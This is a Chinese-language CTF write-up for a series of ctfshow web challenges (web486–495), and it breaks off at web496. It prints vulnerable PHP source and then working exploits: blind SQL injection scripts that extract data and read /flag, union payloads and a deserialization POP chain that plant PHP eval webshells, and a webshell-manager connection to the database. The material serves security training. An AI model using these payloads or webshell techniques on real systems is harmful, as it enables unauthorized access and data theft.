web486

打开是一个登录

image-20220410191856556

image-20220410191923770

翻一下源码,没发现什么

image-20220410191952963

注册之后登录也没有反应,重点并不是在这里

image-20220410192022882

发现地址有一个login,感觉像是文件包含

image-20220410192056235

尝试包含index.php发现出错,并且看到有一个templates目录, 还有render我们回到html试试

index.php

image-20220410192221515

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 15:43:51
Last Modified by: h1xa
Last Modified time: 2021-03-08 18:11:51
email: h1xa@ctfer.com
link: https://ctfer.com

*/

ini_set('display_errors', 'On');
include('render/render_class.php');



$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
}else{
templateUtil::render($action);
}

这里并没有有用的.我们去查看render_class文件

render/render_class.php

image-20220410192329514

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 17:52:18
Last Modified by: h1xa
Last Modified time: 2021-03-08 18:10:19
email: h1xa@ctfer.com
link: https://ctfer.com

*/

include('file_class.php');

class templateUtil {
public static function render($template,$arg=array()){
$templateContent=fileUtil::read('templates/'.$template.'.php');
return templateUtil::shade($templateContent,$arg);
}
public static function shade($templateContent,$arg){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
echo $templateContent;

}
}

render/file_class文件

image-20220410192407141

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 17:56:41
Last Modified by: h1xa
Last Modified time: 2021-03-08 17:56:42
email: h1xa@ctfer.com
link: https://ctfer.com

*/


class fileUtil{

public static function read($filename){
return file_get_contents($filename);
}

public static function write($filename,$content,$append =0){
if($append){
file_put_contents($filename, $content,FILE_APPEND);
}else{
file_put_contents($filename, $content);
}
}
}

没什么思路,我们试一下包含flag文件

image-20220410204859844

web487

image-20220410205121149

一样的页面,但是这次,我们搜到了一个cheak文件这次我们在试一下文件包含

image-20220410205138507

image-20220410205240261

index.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 15:43:51
Last Modified by: h1xa
Last Modified time: 2021-03-08 22:30:08
email: h1xa@ctfer.com
link: https://ctfer.com

*/

include('render/render_class.php');
include('render/db_class.php');



$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}

if($action=='check'){
$username=$_GET['username'];
$password=$_GET['password'];
$sql = "select id from user where username = md5('$username') and password=md5('$password') order by id limit 1";#这里明显的sql注入
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
header('location:index.php?action=login');
}
}

if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}

/render/render_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 17:52:18
Last Modified by: h1xa
Last Modified time: 2021-03-08 22:15:24
email: h1xa@ctfer.com
link: https://ctfer.com

*/

ini_set('display_errors', 'On');
include('file_class.php');
include('cache_class.php');

class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}

}

/render/db_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 20:43:40
Last Modified by: h1xa
Last Modified time: 2021-03-08 22:29:27
email: h1xa@ctfer.com
link: https://ctfer.com

*/
ini_set('display_errors', 'On');

class db{


public static function getConnection(){
$username='root';
$password='root';
$port='3306';
$addr='127.0.0.1';
$database='ctfshow';
return new mysqli($addr,$username,$password,$database);
}

public static function select_one($sql){
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_object();
}

}
}

/render/cache_class

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 20:49:18
Last Modified by: h1xa
Last Modified time: 2021-03-08 21:40:10
email: h1xa@ctfer.com
link: https://ctfer.com

*/
ini_set('display_errors', 'On');

class cache{
public static function create_cache($template,$content){
if(file_exists('cache/'.md5($template).'.php')){
return true;
}else{
fileUtil::write('cache/'.md5($template).'.php',$content);
}
}
public static function get_cache($template){
return fileUtil::read('cache/'.md5($template).'.php');
}
public static function cache_exists($template){
return file_exists('cache/'.md5($template).'.php');
}

}

/render/file_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 17:56:41
Last Modified by: h1xa
Last Modified time: 2021-03-08 21:23:28
email: h1xa@ctfer.com
link: https://ctfer.com

*/

ini_set('display_errors', 'On');
class fileUtil{

public static function read($filename){
return file_get_contents($filename);
}

public static function write($filename,$content,$append =0){
if($append){
file_put_contents($filename, $content,FILE_APPEND);
}else{
file_put_contents($filename, $content);
}
}
}

看了看其他的也没有可以利用的点,只有sql注入

select id from user where username = md5('$username') and password=md5('1') or 1=2#') order by id limit 1
?action=check&username=1') or 0 -- + # %23&password=1

image-20220410221106580

?action=check&username=1') or 1 -- + # %23&password=1

image-20220410221119368

判断

import requests
url = "http://c2367eca-9985-48ba-b0f2-b554dad1a2a2.challenge.ctf.show/index.php"
payload = "length(database())=0" #错误
payload = "length(database())>0" #正确 返回admin
params = {
'username': f"1') or if({payload},1,0)#",
'password': '1',
'action' : 'check'
}
r = requests.get(url,params=params)
print(r.text)
import requests

url = "http://c2367eca-9985-48ba-b0f2-b554dad1a2a2.challenge.ctf.show/index.php"

result = ""
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
# 查数据库 flag
#payload = "select group_concat(table_name) from information_schema.tables where table_schema=database()"
# 查字段 flag
#payload = "select group_concat(column_name) from information_schema.columns where table_name='flag'"
# 查flag
payload = "select group_concat(flag) from flag"
params = {
'username': f"1') or if(ascii(substr(({payload}),{i},1))>{mid},1,0)#",
'password': '1',
'action' : 'check'
}

r = requests.get(url,params=params)
#print(r.text)
if "admin" in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)

web488

index.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 15:43:51
Last Modified by: h1xa
Last Modified time: 2021-03-09 11:59:28
email: h1xa@ctfer.com
link: https://ctfer.com

*/

include('render/render_class.php');
include('render/db_class.php');



$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}

if($action=='check'){
$username=$_GET['username'];
$password=$_GET['password'];
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";#这次的sql不可用了
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
templateUtil::render('error',array('username'=>$username));
}
}

if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}

/render/render_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 17:52:18
Last Modified by: h1xa
Last Modified time: 2021-03-08 22:15:24
email: h1xa@ctfer.com
link: https://ctfer.com

*/

ini_set('display_errors', 'On');
include('file_class.php');
include('cache_class.php');

class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}

}

/render/db_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 20:43:40
Last Modified by: h1xa
Last Modified time: 2021-03-08 22:29:27
email: h1xa@ctfer.com
link: https://ctfer.com

*/
ini_set('display_errors', 'On');

class db{


public static function getConnection(){
$username='root';
$password='root';
$port='3306';
$addr='127.0.0.1';
$database='ctfshow';
return new mysqli($addr,$username,$password,$database);
}

public static function select_one($sql){
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_object();
}

}
}

/render/cache_class

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 20:49:18
Last Modified by: h1xa
Last Modified time: 2021-03-08 21:40:10
email: h1xa@ctfer.com
link: https://ctfer.com

*/
ini_set('display_errors', 'On');

class cache{
public static function create_cache($template,$content){
if(file_exists('cache/'.md5($template).'.php')){
return true;
}else{
fileUtil::write('cache/'.md5($template).'.php',$content);
}
}
public static function get_cache($template){
return fileUtil::read('cache/'.md5($template).'.php');
}
public static function cache_exists($template){
return file_exists('cache/'.md5($template).'.php');
}

}

/render/file_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 17:56:41
Last Modified by: h1xa
Last Modified time: 2021-03-08 21:23:28
email: h1xa@ctfer.com
link: https://ctfer.com

*/

ini_set('display_errors', 'On');
class fileUtil{

public static function read($filename){
return file_get_contents($filename);
}

public static function write($filename,$content,$append =0){
if($append){
file_put_contents($filename, $content,FILE_APPEND);
}else{
file_put_contents($filename, $content);
}
}
}

首先我们先把目录结构写好

image-20220411102110451

如果sql注入不可使用的话,就只有file_class.php文件的wrrite方法可以利用了,至于为什么上一关不可利用,我们等会就知道了

image-20220411102318520

我们发现传了两个参数进来,一个是文件名,另一个是文件内容.我们直接转到用例ctrl+b

image-20220411102428030

发现只有这一处,条件是这个传入的template文件的md5(template)文件不存在,我们接着寻找谁调用了create_cache

image-20220411102622460

也是只有一处,传入了两个参数,一个文件名一个内容,条件是if后面的返回false

image-20220411102822927

也就是这里没有这个md5(template)这个文件,接着回到render_class.php文件

接着往上推,发现内容cache在传入之前先调用了shade方法并且传入了数组,我们先看下面的是将参数进行替换并且替换的是,接着在替换之前有一部读取文件的操作,读取的是初始文件名,不是md5的

image-20220411103133848

接着我们去找谁调用了render

image-20220411103218434

发现这里总共有四处,第一处仔细观察是无法利用的,因为只要你访问了一次index文件,就会在本地生成md5(index),之后就再也不会能写文件了,而下面两个并没有传入数组参数,这么说的话就没有办法进行替换操作,那么自然也就不能写文件进去,那么只剩下第二个文件了.如果这里能做的话,就只能说明error.php里面存在

{{username}}

我们来尝试一下,写入以下内容

image-20220411103521026

返回index文件进行调试,注意处理一下index文件

image-20220411103553676

image-20220411103632717

image-20220411103705971

关键步骤

image-20220411103726475

image-20220411103744290

可见木马写入了这个md5(error)文件里面

image-20220411103838783

接下来我们从题目里面实现一下,照index文件填入

image-20220411104009891

image-20220411104056974

接着访问/cache/cb5e100e5a9a3e7f6d1fd97512215282.php文件

image-20220411104157508

我们去看一下它error.php的源码,发现和我们想的一样

image-20220411104302975

但是不知道你有没有发现一个问题,就是如果我们第一次就直接尝试登录,一个错误的username,就会生成error的md5文件,之后就不能在向里面写文件了

image-20220411104517364

我们这样无论怎么发送都不能在写文件了,所以只有一次机会

image-20220411104626210

image-20220411104643730

web489

index.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 15:43:51
Last Modified by: h1xa
Last Modified time: 2021-03-09 14:20:04
email: h1xa@ctfer.com
link: https://ctfer.com

*/

include('render/render_class.php');
include('render/db_class.php');



$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}

if($action=='check'){
$sql = "select id from user where username = '".md5($username)."' and password='".md5($password)."' order by id limit 1";
extract($_GET);
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$username));
}else{
templateUtil::render('error');
}
}

if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}

if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}

render/render_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 17:52:18
Last Modified by: h1xa
Last Modified time: 2021-03-09 12:11:43
email: h1xa@ctfer.com
link: https://ctfer.com

*/

include('file_class.php');
include('cache_class.php');

class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}

}

render/db_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 20:43:40
Last Modified by: h1xa
Last Modified time: 2021-03-09 12:11:32
email: h1xa@ctfer.com
link: https://ctfer.com

*/

class db{


public static function getConnection(){
$username='root';
$password='root';
$port='3306';
$addr='127.0.0.1';
$database='ctfshow';
return new mysqli($addr,$username,$password,$database);
}

public static function select_one($sql){
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_object();
}

}
}

file_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 17:56:41
Last Modified by: h1xa
Last Modified time: 2021-03-09 14:08:48
email: h1xa@ctfer.com
link: https://ctfer.com

*/

error_reporting(0);
class fileUtil{

public static function read($filename){
return file_get_contents($filename);
}

public static function write($filename,$content,$append =0){
if($append){
file_put_contents($filename, $content,FILE_APPEND);
}else{
file_put_contents($filename, $content);
}
}
}

/render/cache_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 20:49:18
Last Modified by: h1xa
Last Modified time: 2021-03-09 12:11:38
email: h1xa@ctfer.com
link: https://ctfer.com

*/


class cache{
public static function create_cache($template,$content){
if(file_exists('cache/'.md5($template).'.php')){
return true;
}else{
fileUtil::write('cache/'.md5($template).'.php',$content);
}
}
public static function get_cache($template){
return fileUtil::read('cache/'.md5($template).'.php');
}
public static function cache_exists($template){
return file_exists('cache/'.md5($template).'.php');
}

}

/templates/index

<!--
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 16:54:39
Last Modified by: h1xa
Last Modified time: 2021-03-08 21:56:49
email: h1xa@ctfer.com
link: https://ctfer.com
path /templates/index.php
-->

<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>CTFshow 新手入门题目 </title>
</head>
<body>
欢迎你{{username}}
</body>
</html>

这里就解决了上一题的问题了.可以删除文件了,这里还考察了一个点,就是变量覆盖

image-20220411125917354

等到extract()函数解析完成就可以

image-20220411125924937

因此这里就可以直接和上一关一样,先重置sql语句使执行第一个render()接着传入username为一句话

image-20220411130153307

接着这次访问md5(index)文件

image-20220411130313269

可以看到这里的error.php是无法利用的了

image-20220411130349070

web490

index.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 15:43:51
Last Modified by: h1xa
Last Modified time: 2021-03-09 16:45:24
email: h1xa@ctfer.com
link: https://ctfer.com

*/

include('render/render_class.php');
include('render/db_class.php');


$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}

if($action=='check'){
extract($_GET);
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index',array('username'=>$user->username));
}else{
templateUtil::render('error');
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}

if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}

这里也是含有sql注入的.这次只不过是把从sql取出的语句进行写入

记得先清一下文件

image-20220411140331722

接着登录发现是短标签,我们只要按照这个方式闭合就好

image-20220411140305568

select username from user where username = '1'union select '@eval($_POST[zf]);'' and password='6512bd43d9caa6e02c990b0a82652dca' order by id limit 1

image-20220411140520958

image-20220411140614700

web491

index.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 15:43:51
Last Modified by: h1xa
Last Modified time: 2021-03-09 16:45:24
email: h1xa@ctfer.com
link: https://ctfer.com

*/

include('render/render_class.php');
include('render/db_class.php');


$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}

if($action=='check'){
extract($_GET);
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one($sql);
if($user){
templateUtil::render('index');
}else{
templateUtil::render('error');
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}

if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}

数据库里没东西

render/render_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 17:52:18
Last Modified by: h1xa
Last Modified time: 2021-03-09 16:19:23
email: h1xa@ctfer.com
link: https://ctfer.com

*/

include('file_class.php');
include('cache_class.php');

class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', '<?='.$value.'?>', $templateContent);
}
return $templateContent;
}

}

cache_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 20:49:18
Last Modified by: h1xa
Last Modified time: 2021-03-09 12:11:38
email: h1xa@ctfer.com
link: https://ctfer.com

*/


class cache{
public static function create_cache($template,$content){
if(file_exists('cache/'.md5($template).'.php')){
return true;
}else{
fileUtil::write('cache/'.md5($template).'.php',$content);
}
}
public static function get_cache($template){
return fileUtil::read('cache/'.md5($template).'.php');
}
public static function cache_exists($template){
return file_exists('cache/'.md5($template).'.php');
}

}

这里也没有可以利用的点,那么只能在sql注入里面动手了.那么直接利用sql读取本地文件

import requests

url = "http://de4a1753-a35d-401e-9d4e-aad8aa7d89a2.challenge.ctf.show/index.php"

result = ""
i = 0

while True:
i = i + 1
head = 32
tail = 127

while head < tail:
mid = (head + tail) >> 1
payload = "select load_file('/flag')"
params = {
'username': f"1' or if(ascii(substr(({payload}),{i},1))>{mid},1,0)-- + #",
'password': '1',
'action' : 'check'
}

r = requests.get(url,params=params)
#print(r.text)
if "username" in r.text:
head = mid + 1
else:
tail = mid

if head != 32:
result += chr(head)
else:
break
print(result)

web492

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 15:43:51
Last Modified by: h1xa
Last Modified time: 2021-03-10 12:16:25
email: h1xa@ctfer.com
link: https://ctfer.com

*/

include('render/render_class.php');
include('render/db_class.php');


$action=$_GET['action'];
if(!isset($action)){
header('location:index.php?action=login');
die();
}

if($action=='check'){
extract($_GET);
if(preg_match('/^[A-Za-z0-9]+$/', $username)){
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$user=db::select_one_array($sql);
}
if($user){
templateUtil::render('index',$user);
}else{
templateUtil::render('error');
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}

if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}

render/render_class

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 17:52:18
Last Modified by: h1xa
Last Modified time: 2021-03-10 13:37:14
email: h1xa@ctfer.com
link: https://ctfer.com

*/

include('file_class.php');
include('cache_class.php');

class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', '<!--'.$value.'-->', $templateContent);
}
return $templateContent;
}

}


render/db_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 20:43:40
Last Modified by: h1xa
Last Modified time: 2021-03-10 12:12:00
email: h1xa@ctfer.com
link: https://ctfer.com

*/

class db{


public static function getConnection(){
$username='root';
$password='root';
$port='3306';
$addr='127.0.0.1';
$database='ctfshow';
return new mysqli($addr,$username,$password,$database);
}

public static function select_one($sql){
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_object();
}

}
public static function select_one_array($sql){
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_assoc();
}

}
}

templates/index.php

<!--
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 16:54:39
Last Modified by: h1xa
Last Modified time: 2021-03-09 16:21:04
email: h1xa@ctfer.com
link: https://ctfer.com
path /templates/index.php
-->

<!DOCTYPE HTML>
<html>
<head>
<meta charset="utf-8">
<title>CTFshow 新手入门题目 </title>
</head>
<body>
{{username}}
</body>
</html>
/^[A-Za-z0-9]+$/	表示匹配以数字字母开头结尾中间全是数字字母

那么这里简单变量覆盖就可,但是要注意一下将它的注释进行闭合

image-20220411200031843

image-20220411200106381

image-20220411200118887

image-20220411200135182

image-20220411200208135

image-20220411201037379

image-20220411201043845

image-20220411201050704

web493

index.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 15:43:51
Last Modified by: h1xa
Last Modified time: 2021-03-12 17:23:33
email: h1xa@ctfer.com
link: https://ctfer.com

*/
session_start();
include('render/render_class.php');
include('render/db_class.php');


$action=$_GET['action'];
if(!isset($action)){
if(isset($_COOKIE['user'])){
$c=$_COOKIE['user'];
$user=unserialize($c);
if($user){
templateUtil::render('index');
}else{
header('location:index.php?action=login');
}
}else{
header('location:index.php?action=login');
}
die();
}

if($action=='check'){
extract($_GET);
if(preg_match('/^[A-Za-z0-9]+$/', $username)){
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$db=new db();
$user=$db->select_one($sql);
}
if($user){
setcookie('user',$user);
templateUtil::render('index');
}else{
templateUtil::render('error');
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}

if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}

render/render_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 17:52:18
Last Modified by: h1xa
Last Modified time: 2021-03-12 15:52:18
email: h1xa@ctfer.com
link: https://ctfer.com

*/

include('file_class.php');
include('cache_class.php');

class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg=array()){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', '<!--'.$value.'-->', $templateContent);
}
return $templateContent;
}

}




render/db_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 20:43:40
Last Modified by: h1xa
Last Modified time: 2021-03-12 17:43:56
email: h1xa@ctfer.com
link: https://ctfer.com

*/

error_reporting(0);
class db{

public $db;
public $log;
public $sql;
public $username='root';
public $password='root';
public $port='3306';
public $addr='127.0.0.1';
public $database='ctfshow';
public function __construct(){
$this->log=new dbLog();
$this->db=$this->getConnection();
}

public function getConnection(){

return new mysqli($this->addr,$this->username,$this->password,$this->database);
}

public function select_one($sql){
$this->sql=$sql;
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_object();
}

}
public function select_one_array($sql){
$this->sql=$sql;
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_assoc();
}

}
public function __destruct(){
$this->log->log($this->sql);
}
}
class dbLog{
public $sql;
public $content;
public $log;

public function __construct(){
$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
}
public function log($sql){
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
}
public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}



/render/file_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 17:56:41
Last Modified by: h1xa
Last Modified time: 2021-03-09 14:08:48
email: h1xa@ctfer.com
link: https://ctfer.com

*/

error_reporting(0);
class fileUtil{

public static function read($filename){
return file_get_contents($filename);
}

public static function write($filename,$content,$append =0){
if($append){
file_put_contents($filename, $content,FILE_APPEND);
}else{
file_put_contents($filename, $content);
}
}
}

cache_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 20:49:18
Last Modified by: h1xa
Last Modified time: 2021-03-09 12:11:38
email: h1xa@ctfer.com
link: https://ctfer.com

*/


class cache{
public static function create_cache($template,$content){
if(file_exists('cache/'.md5($template).'.php')){
return true;
}else{
fileUtil::write('cache/'.md5($template).'.php',$content);
}
}
public static function get_cache($template){
return fileUtil::read('cache/'.md5($template).'.php');
}
public static function cache_exists($template){
return file_exists('cache/'.md5($template).'.php');
}

}

简单反序列化

<?php

class dbLog{
public $sql;
public $content ='<?php @eval($_POST[zf]);?>';
public $log ="./zf.php";

public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}

$final = new dbLog();
echo ';user='.urlencode(serialize($final));
#;user=O%3A5%3A%22dbLog%22%3A3%3A%7Bs%3A3%3A%22sql%22%3BN%3Bs%3A7%3A%22content%22%3Bs%3A26%3A%22%3C%3Fphp+%40eval%28%24_POST%5Bzf%5D%29%3B%3F%3E%22%3Bs%3A3%3A%22log%22%3Bs%3A8%3A%22.%2Fzf.php%22%3B%7D

这个会写到根目录下面,是网页的根目录,原因是index.php文件调用的file_put_contents()所以以当前目录为基础进行写入

image-20220411215049150

image-20220411215056027

web494-495

index.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 15:43:51
Last Modified by: h1xa
Last Modified time: 2021-03-13 19:59:12
email: h1xa@ctfer.com
link: https://ctfer.com

*/
session_start();
include('render/render_class.php');
include('render/db_class.php');


$action=$_GET['action'];
if(!isset($action)){
if(isset($_COOKIE['user'])){
$c=$_COOKIE['user'];
if(preg_match('/\:|\,/', $c)){
$user=unserialize($c);
}
if($user){
templateUtil::render('index');
}else{
header('location:index.php?action=login');
}
}else{
header('location:index.php?action=login');
}
die();
}

if($action=='check'){
extract($_GET);
if(!preg_match('/or|and|innodb|sys/i', $username)){
$sql = "select username from user where username = '".$username."' and password='".md5($password)."' order by id limit 1";
$db=new db();
$user=$db->select_one_array($sql);
}
if($user){
setcookie('user',$user);
templateUtil::render('index',$user);
}else{
templateUtil::render('error');
}
}
if($action=='clear'){
system('rm -rf cache/*');
die('cache clear');
}

if($action=='login'){
templateUtil::render($action);
}else{
templateUtil::render($action);
}

render/render_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 17:52:18
Last Modified by: h1xa
Last Modified time: 2021-03-13 20:01:31
email: h1xa@ctfer.com
link: https://ctfer.com

*/

include('file_class.php');
include('cache_class.php');

class templateUtil {
public static function render($template,$arg=array()){
if(cache::cache_exists($template)){
echo cache::get_cache($template);
}else{
$templateContent=fileUtil::read('templates/'.$template.'.php');
$cache=templateUtil::shade($templateContent,$arg);
cache::create_cache($template,$cache);
echo $cache;
}
}
public static function shade($templateContent,$arg=array()){
foreach ($arg as $key => $value) {
$templateContent=str_replace('{{'.$key.'}}', $value, $templateContent);
}
return $templateContent;
}

}




render/db_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 20:43:40
Last Modified by: h1xa
Last Modified time: 2021-03-12 17:43:56
email: h1xa@ctfer.com
link: https://ctfer.com

*/

error_reporting(0);
class db{

public $db;
public $log;
public $sql;
public $username='root';
public $password='root';
public $port='3306';
public $addr='127.0.0.1';
public $database='ctfshow';
public function __construct(){
$this->log=new dbLog();
$this->db=$this->getConnection();
}

public function getConnection(){

return new mysqli($this->addr,$this->username,$this->password,$this->database);
}

public function select_one($sql){
$this->sql=$sql;
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_object();
}

}
public function select_one_array($sql){
$this->sql=$sql;
$conn = db::getConnection();
$result=$conn->query($sql);
if($result){
return $result->fetch_assoc();
}

}
public function __destruct(){
$this->log->log($this->sql);
}
}
class dbLog{
public $sql;
public $content;
public $log;

public function __construct(){
$this->log='log/'.date_format(date_create(),"Y-m-d").'.txt';
}
public function log($sql){
$this->content = $this->content.date_format(date_create(),"Y-m-d-H-i-s").' '.$sql.' \r\n';
}
public function __destruct(){
file_put_contents($this->log, $this->content,FILE_APPEND);
}
}



file_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 17:56:41
Last Modified by: h1xa
Last Modified time: 2021-03-09 14:08:48
email: h1xa@ctfer.com
link: https://ctfer.com

*/

error_reporting(0);
class fileUtil{

public static function read($filename){
return file_get_contents($filename);
}

public static function write($filename,$content,$append =0){
if($append){
file_put_contents($filename, $content,FILE_APPEND);
}else{
file_put_contents($filename, $content);
}
}
}

cache_class.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 20:49:18
Last Modified by: h1xa
Last Modified time: 2021-03-13 20:02:23
email: h1xa@ctfer.com
link: https://ctfer.com

*/


class cache{
public static function create_cache($template,$content){
if(file_exists('cache/'.md5($template).'.html')){
return true;
}else{
fileUtil::write('cache/'.md5($template).'.html',$content);
}
}
public static function get_cache($template){
return fileUtil::read('cache/'.md5($template).'.html');
}
public static function cache_exists($template){
return file_exists('cache/'.md5($template).'.html');
}

}

为啥没变化,上一题脚本直接过.发现flag没有,可以直接通过蚁剑连接数据库,毕竟我们已经知道用户名和密码了

要填127.0.0.1哦

image-20220411223652378

image-20220411223730608

web496

index.php

<?php

/*
# -*- coding: utf-8 -*-
Author: h1xa
Date: 2021-03-08 15:43:51
Last Modified by: h1xa
Last Modified time: 2021-03-15 05:42:14
